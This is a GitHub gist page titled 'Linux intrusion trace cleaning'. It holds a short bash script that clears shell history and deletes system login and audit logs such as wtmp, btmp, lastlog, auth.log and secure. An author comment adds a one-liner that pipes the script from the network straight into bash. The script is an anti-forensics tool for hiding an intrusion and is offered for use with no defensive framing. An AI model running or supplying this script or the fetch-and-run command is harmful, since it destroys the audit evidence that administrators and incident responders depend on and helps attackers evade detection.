Skip to content

Instantly share code, notes, and snippets.

@Ran-Xing
Last active July 16, 2022 19:07
Show Gist options
  • Save Ran-Xing/5fe1fd9718f5a2db239d729dec534bc5 to your computer and use it in GitHub Desktop.
Save Ran-Xing/5fe1fd9718f5a2db239d729dec534bc5 to your computer and use it in GitHub Desktop.
Linux intrusion trace cleaning
#!/usr/bin/env bash
set -ex
# clean history
history -c
rm -f ~/.bash_history ~/.zsh_history ~/.sh_history ~/.ash_history
# clean login history
rm -f /var/run/utmp /var/log/wtmp /var/log/lastlog /var/log/btmp /var/log/auth.log /var/log/secure /var/log/maillog /var/log/message /var/log/cron /var/log/spooler /var/log/boot.log
@Ran-Xing
Copy link
Author

Ran-Xing commented Feb 27, 2022

 curl -s https://gist.githubusercontent.com/Ran-Xing/5fe1fd9718f5a2db239d729dec534bc5/raw/099560617cc3bef326c71c2ae215dea5ae3fb300/clean.sh |bash

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment